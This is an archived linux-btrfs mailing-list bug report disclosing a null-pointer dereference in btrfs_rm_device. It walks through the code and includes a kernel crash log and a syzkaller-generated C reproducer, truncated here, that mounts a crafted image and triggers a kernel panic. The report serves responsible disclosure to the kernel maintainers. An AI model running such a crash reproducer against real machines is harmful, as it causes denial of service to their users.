linux-btrfs.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* A null-ptr-dereference bug in btrfs_rm_device in fs/btrfs/volumes.c
@ 2021-08-06  9:52 butt3rflyh4ck
  2021-08-06  9:59 ` Qu Wenruo
  0 siblings, 1 reply; 3+ messages in thread
From: butt3rflyh4ck @ 2021-08-06  9:52 UTC (permalink / raw)
  To: clm, Josef Bacik, dsterba; +Cc: linux-btrfs

[-- Attachment #1: Type: text/plain, Size: 8399 bytes --]

Hello, there is a null pointer dereference bug in the btrfs_rm_device
function in fs/btrfs/volumes.c.
When a user invokes a BTRFS_IOC_RM_DEV_V2 ioctl to remove a volume device,
it would call btrfs_ioctl_rm_dev_v2 function to implement. And
btrfs_ioctl_rm_dev_v2 would call btrfs_rm_device,
if the id of the volume device is illegal, it would trigger a
null-ptr-deref bug to cause DoS.
Fortunately, invoking this function requires ‘CAP_SYS_ADMIN’ advanced
permissions.

Ok, let us see the code as follows:
btrfs_ioctl_rm_dev_v2
``````
static long btrfs_ioctl_rm_dev_v2(struct file *file, void __user *arg)
{
        struct inode *inode = file_inode(file);
        struct btrfs_fs_info *fs_info = btrfs_sb(inode->i_sb);
        struct btrfs_ioctl_vol_args_v2 *vol_args;
        int ret;
        bool cancel = false;

        if (!capable(CAP_SYS_ADMIN))   ///------------>  ‘CAP_SYS_ADMIN’  need
                return -EPERM;

         ...

        vol_args = memdup_user(arg, sizeof(*vol_args));  //
-------------> copy a user data from 'arg' to vol_args.
        if (IS_ERR(vol_args)) {
                ret = PTR_ERR(vol_args);
                goto err_drop;
        }

       ...

               if (vol_args->flags & BTRFS_DEVICE_SPEC_BY_ID)
//---------------> here would judge vol_args->flags
                ret = btrfs_rm_device(fs_info, NULL, vol_args->devid);
 // ------------->call btrfs_rm_device
        else
                ret = btrfs_rm_device(fs_info, vol_args->name, 0);

````
 if the vol_args->flags is  BTRFS_DEVICE_SPEC_BY_ID, it would  also
call  btrfs_rm_device function,
the second arg type is a pointer,but the second arg is NULL, the third
arg is a id of volome device.

Let us see the code as follows:
btrfs_rm_device
````
int btrfs_rm_device(struct btrfs_fs_info *fs_info, const char *device_path,
                    u64 devid)
{
        struct btrfs_device *device;
        struct btrfs_fs_devices *cur_devices;
        struct btrfs_fs_devices *fs_devices = fs_info->fs_devices;
        u64 num_devices;
        int ret = 0;

        mutex_lock(&uuid_mutex);

        num_devices = btrfs_num_devices(fs_info);

        ret = btrfs_check_raid_min_devices(fs_info, num_devices - 1);
        if (ret)
                goto out;

        device = btrfs_find_device_by_devspec(fs_info, devid,
device_path); // ------------>  this function would get a volume
device by devid.

        if (IS_ERR(device)) {
                if (PTR_ERR(device) == -ENOENT &&
                    strcmp(device_path, "missing") == 0)
//-----------------> use device_path pointer,  but device_patch is
NULL.
                        ret = BTRFS_ERROR_DEV_MISSING_NOT_FOUND;
                else
                        ret = PTR_ERR(device);
                goto out;
        }
````
btrfs_find_device_by_devspec would lookup  a volume device by devid,
```
 * Lookup a device given by device id, or the path if the id is 0.
 */
struct btrfs_device *btrfs_find_device_by_devspec(
                struct btrfs_fs_info *fs_info, u64 devid,
                const char *device_path)
{
        struct btrfs_device *device;

        if (devid) {
                device = btrfs_find_device(fs_info->fs_devices, devid, NULL,
                                           NULL);
                if (!device)
                        return ERR_PTR(-ENOENT);  // -----> if not
lookup a device, it return -ENOENT error.
                 return device;
        }

      ....

```
After returning an -ENOENT error, it would call strcmp to compare
device_path with 'missing'.
As our previous analysis, device_path is NULL, it would  trigger a
null-ptr-deref bug.

crash log:
root@syzkaller:/home/user# ./btrfs_rm_device
[   46.204657][ T8385] loop0: detected capacity change from 0 to 32768
[   46.218173][ T8385] BTRFS: device fsid
195aeaee-03bd-442f-8f6e-93f8f339d194 devid 1 transid 7 /dev/loop0
scanned by btrfs_rm_device (8385)
[   46.238597][ T8385] BTRFS info (device loop0): disabling tree log
[   46.239838][ T8385] BTRFS info (device loop0): disk space caching is enabled
[   46.241198][ T8385] BTRFS info (device loop0): has skinny extents
[   46.253597][ T8385] BTRFS info (device loop0): enabling ssd optimizations
[   46.286692][ T8385] BUG: kernel NULL pointer dereference, address:
0000000000000000
[   46.288135][ T8385] #PF: supervisor read access in kernel mode
[   46.289222][ T8385] #PF: error_code(0x0000) - not-present page
[   46.290308][ T8385] PGD 4618d067 P4D 4618d067 PUD 4616b067 PMD 0
[   46.291469][ T8385] Oops: 0000 [#1] PREEMPT SMP
[   46.292247][ T8385] CPU: 0 PID: 8385 Comm: btrfs_rm_device Not
tainted 5.14.0-rc4+ #4
[   46.293485][ T8385] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.13.0-1ubuntu1 04/01/2014
[   46.295205][ T8385] RIP: 0010:btrfs_rm_device+0x487/0x6d0
[   46.296136][ T8385] Code: fe 74 18 45 89 f4 e9 91 fd ff ff 48 89 df
45 89 ec e8 bd e3 f9 ff e9 2f ff ff ff 48 c7 c7 6a d1 a2 84 b9 08 00
00 00 4c 89 ee <f3>b
[   46.299535][ T8385] RSP: 0018:ffffc9000560bd90 EFLAGS: 00010246
[   46.300588][ T8385] RAX: fffffffffffffffe RBX: 0000000000000000
RCX: 0000000000000008
[   46.301961][ T8385] RDX: fffffffffffffffe RSI: 0000000000000000
RDI: ffffffff84a2d16a
[   46.303374][ T8385] RBP: ffff88804939c000 R08: ffff888013010600
R09: 0000000000000001
[   46.304793][ T8385] R10: 0000000000000001 R11: 00000000001357f7
R12: 0000000000000008
[   46.306238][ T8385] R13: 0000000000000000 R14: fffffffffffffffe
R15: ffffffff83d8c123
[   46.307614][ T8385] FS:  000000000214a880(0000)
GS:ffff88803ec00000(0000) knlGS:0000000000000000
[   46.308999][ T8385] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   46.310141][ T8385] CR2: 0000000000000000 CR3: 0000000046200000
CR4: 00000000000006f0
[   46.311604][ T8385] Call Trace:
[   46.312123][ T8385]  btrfs_ioctl+0xba8/0x31b0
[   46.312821][ T8385]  ? __x64_sys_ioctl+0x7b/0xb0
[   46.313655][ T8385]  __x64_sys_ioctl+0x7b/0xb0
[   46.314460][ T8385]  do_syscall_64+0x35/0xb0
[   46.315454][ T8385]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   46.316501][ T8385] RIP: 0033:0x44f51d
[   46.317178][ T8385] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
4c 24 08 0f 05 <48>8
[   46.320656][ T8385] RSP: 002b:00007ffc361763e8 EFLAGS: 00000283
ORIG_RAX: 0000000000000010
[   46.321991][ T8385] RAX: ffffffffffffffda RBX: 0000000000400530
RCX: 000000000044f51d
[   46.323410][ T8385] RDX: 0000000020001d80 RSI: 000000005000943a
RDI: 0000000000000005
[   46.324773][ T8385] RBP: 00007ffc36176400 R08: 0000000020001db0
R09: 0000000000000000
[   46.326029][ T8385] R10: 0000000000000000 R11: 0000000000000283
R12: 00000000004042a0
[   46.327388][ T8385] R13: 0000000000000000 R14: 00000000004ca018
R15: 0000000000000000
[   46.328775][ T8385] Modules linked in:
[   46.329458][ T8385] CR2: 0000000000000000
[   46.330389][ T8385] ---[ end trace 1cb21b999dbc3d91 ]---
[   46.331249][ T8385] RIP: 0010:btrfs_rm_device+0x487/0x6d0
[   46.332180][ T8385] Code: fe 74 18 45 89 f4 e9 91 fd ff ff 48 89 df
45 89 ec e8 bd e3 f9 ff e9 2f ff ff ff 48 c7 c7 6a d1 a2 84 b9 08 00
00 00 4c 89 ee <f3>b
[   46.335928][ T8385] RSP: 0018:ffffc9000560bd90 EFLAGS: 00010246
[   46.337120][ T8385] RAX: fffffffffffffffe RBX: 0000000000000000
RCX: 0000000000000008
[   46.338710][ T8385] RDX: fffffffffffffffe RSI: 0000000000000000
RDI: ffffffff84a2d16a
[   46.340164][ T8385] RBP: ffff88804939c000 R08: ffff888013010600
R09: 0000000000000001
[   46.341611][ T8385] R10: 0000000000000001 R11: 00000000001357f7
R12: 0000000000000008
[   46.343055][ T8385] R13: 0000000000000000 R14: fffffffffffffffe
R15: ffffffff83d8c123
[   46.344521][ T8385] FS:  000000000214a880(0000)
GS:ffff88803ec00000(0000) knlGS:0000000000000000
[   46.346265][ T8385] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   46.347470][ T8385] CR2: 0000000000000000 CR3: 0000000046200000
CR4: 00000000000006f0
[   46.348918][ T8385] Kernel panic - not syncing: Fatal exception
[   46.350160][ T8385] Kernel Offset: disabled
[   46.350978][ T8385] Rebooting in 86400 seconds..

the attachment is reproduce.

Regards,
   butt3rflyh4ck.

-- 
Active Defense Lab of Venustech

[-- Attachment #2: repro --]
[-- Type: application/octet-stream, Size: 69901 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE 

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

static unsigned long long procid;

struct fs_image_segment {
	void* data;
	uintptr_t size;
	uintptr_t offset;
};

#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)

#define sys_memfd_create 319

static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, struct fs_image_segment* segs)
{
	if (nsegs > IMAGE_MAX_SEGMENTS)
		nsegs = IMAGE_MAX_SEGMENTS;
	for (size_t i = 0; i < nsegs; i++) {
		if (segs[i].size > IMAGE_MAX_SIZE)
			segs[i].size = IMAGE_MAX_SIZE;
		segs[i].offset %= IMAGE_MAX_SIZE;
		if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
			segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
		if (size < segs[i].offset + segs[i].offset)
			size = segs[i].offset + segs[i].offset;
	}
	if (size > IMAGE_MAX_SIZE)
		size = IMAGE_MAX_SIZE;
	return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs, struct fs_image_segment* segs, const char* loopname, int* memfd_p, int* loopfd_p)
{
	int err = 0, loopfd = -1;
	size = fs_image_segment_check(size, nsegs, segs);
	int memfd = syscall(sys_memfd_create, "syzkaller", 0);
	if (memfd == -1) {
		err = errno;
		goto error;
	}
	if (ftruncate(memfd, size)) {
		err = errno;
		goto error_close_memfd;
	}
	for (size_t i = 0; i < nsegs; i++) {
		if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
		}
	}
	loopfd = open(loopname, O_RDWR);
	if (loopfd == -1) {
		err = errno;
		goto error_close_memfd;
	}
	if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
		if (errno != EBUSY) {
			err = errno;
			goto error_close_loop;
		}
		ioctl(loopfd, LOOP_CLR_FD, 0);
		usleep(1000);
		if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
			err = errno;
			goto error_close_loop;
		}
	}
	*memfd_p = memfd;
	*loopfd_p = loopfd;
	return 0;

error_close_loop:
	close(loopfd);
error_close_memfd:
	close(memfd);
error:
	errno = err;
	return -1;
}

static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long segments, volatile long flags, volatile long optsarg)
{
	struct fs_image_segment* segs = (struct fs_image_segment*)segments;
	int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
	char* mount_opts = (char*)optsarg;
	char* target = (char*)dir;
	char* fs = (char*)fsarg;
	char* source = NULL;
	char loopname[64];
	if (need_loop_device) {
		memset(loopname, 0, sizeof(loopname));
		snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
		if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
			return -1;
		source = loopname;
	}
	mkdir(target, 0777);
	char opts[256];
	memset(opts, 0, sizeof(opts));
	if (strlen(mount_opts) > (sizeof(opts) - 32)) {
	}
	strncpy(opts, mount_opts, sizeof(opts) - 32);
	if (strcmp(fs, "iso9660") == 0) {
		flags |= MS_RDONLY;
	} else if (strncmp(fs, "ext", 3) == 0) {
		if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
			strcat(opts, ",errors=continue");
	} else if (strcmp(fs, "xfs") == 0) {
		strcat(opts, ",nouuid");
	}
	res = mount(source, target, fs, flags, opts);
	if (res == -1) {
		err = errno;
		goto error_clear_loop;
	}
	res = open(target, O_RDONLY | O_DIRECTORY);
	if (res == -1) {
		err = errno;
	}

error_clear_loop:
	if (need_loop_device) {
		ioctl(loopfd, LOOP_CLR_FD, 0);
		close(loopfd);
		close(memfd);
	}
	errno = err;
	return res;
}

uint64_t r[3] = {0x0, 0xffffffffffffffff, 0xffffffffffffffff};

int main(void)
{
	syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
intptr_t res = 0;
memcpy((void*)0x20000000, "btrfs\000", 6);
memcpy((void*)0x20000100, "./file0\000", 8);
*(uint64_t*)0x20000200 = 0x20010000;
memcpy((void*)0x20010000, "\x69\xbe\x06\xf9\x44\x38\xf3\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x5f\x42\x48\x52\x66\x53\x5f\x4d\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x00\x10\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x61\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x03\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94", 299);
*(uint64_t*)0x20000208 = 0x12b;
*(uint64_t*)0x20000210 = 0x10000;
*(uint64_t*)0x20000218 = 0x20010200;
memcpy((void*)0x20010200, "\000\000\000\000\000\000\000\000\000\000\000\a\000\000\000\000\000\000\000\a", 20);
*(uint64_t*)0x20000220 = 0x14;
*(uint64_t*)0x20000228 = 0x10220;
*(uint64_t*)0x20000230 = 0x20010300;
memcpy((void*)0x20010300, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\xe4\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf", 108);
*(uint64_t*)0x20000238 = 0x6c;
*(uint64_t*)0x20000240 = 0x10320;
*(uint64_t*)0x20000248 = 0x20010400;
memcpy((void*)0x20010400, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x50\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x20\x50\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x70\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x80\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\xd0\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x60\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x10\x50\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\xd0\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x60\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x60\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x70\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x80\x50\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01", 628);
*(uint64_t*)0x20000250 = 0x274;
*(uint64_t*)0x20000258 = 0x10b20;
*(uint64_t*)0x20000260 = 0x20010800;
memcpy((void*)0x20010800, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x10\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x00\x00\x19\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x10\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x00\x00\x40\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\xa2\xeb\x82\xf3\x86\xd6\x96\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x10\x10\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x04\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd8\x01\x00\x00\x00\x00\x00\x00\x00\x39\x0f\x00\x00\x62\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\xe4\x00\x00\x10\x00\x00\x00\x00\x00\xe9\x0e\x00\x00\x50\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\xe4\x00\x00\x50\x00\x00\x00\x00\x00\x99\x0e\x00\x00\x50\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\xe4\x00\x00\x69\x00\x00\x00\x00\x00\x49\x0e\x00\x00\x50", 550);
*(uint64_t*)0x20000268 = 0x226;
*(uint64_t*)0x20000270 = 0x100ea0;
*(uint64_t*)0x20000278 = 0x20010b00;
memcpy((void*)0x20010b00, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x10\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x00\x00\x19\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x10\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x00\x00\x40\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2\x29\xf1\x0d\x15\xa7\x40\xb1\xac\x28\xd9\xe7\x3e\x15\xfb\xaf\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94", 352);
*(uint64_t*)0x20000280 = 0x160;
*(uint64_t*)0x20000288 = 0x101ea0;
*(uint64_t*)0x20000290 = 0x20011800;
memcpy((void*)0x20011800, "\x23\x95\xf7\xcf\x39\x7c\xa9\x3c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x00\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0d\x00\x00\xb7\x01\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x00\x2d\x0c\x00\x00\xb7\x01\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x0c\x06\x00\x00\x00\x00\x00\x00\x00\x1c\x0c\x00\x00\x11\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x00\x65\x0a\x00\x00\xb7\x01\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xc5\x09\x00\x00\xa0\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x0c\x06\x00\x00\x00\x00\x00\x00\x00\xb9\x09\x00\x00\x0c\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x54\xd2\xc2\xbf\x8d\x00\x00\x00\x00\x94\x09\x00\x00\x25\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\xb7\x01\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x00\x26\x06\x00\x00\xb7\x01\x00\x00\xf7\xff\xff\xff\xff\xff\xff\xff\x84\x00\x00\x00\x00\x00\x00\x00\x00\x6f\x04\x00\x00\xb7\x01", 349);
*(uint64_t*)0x20000298 = 0x15d;
*(uint64_t*)0x200002a0 = 0x500000;
*(uint64_t*)0x200002a8 = 0x20011a00;
memcpy((void*)0x20011a00, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x90\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04", 100);
*(uint64_t*)0x200002b0 = 0x64;
*(uint64_t*)0x200002b8 = 0x500560;
*(uint64_t*)0x200002c0 = 0x20011b00;
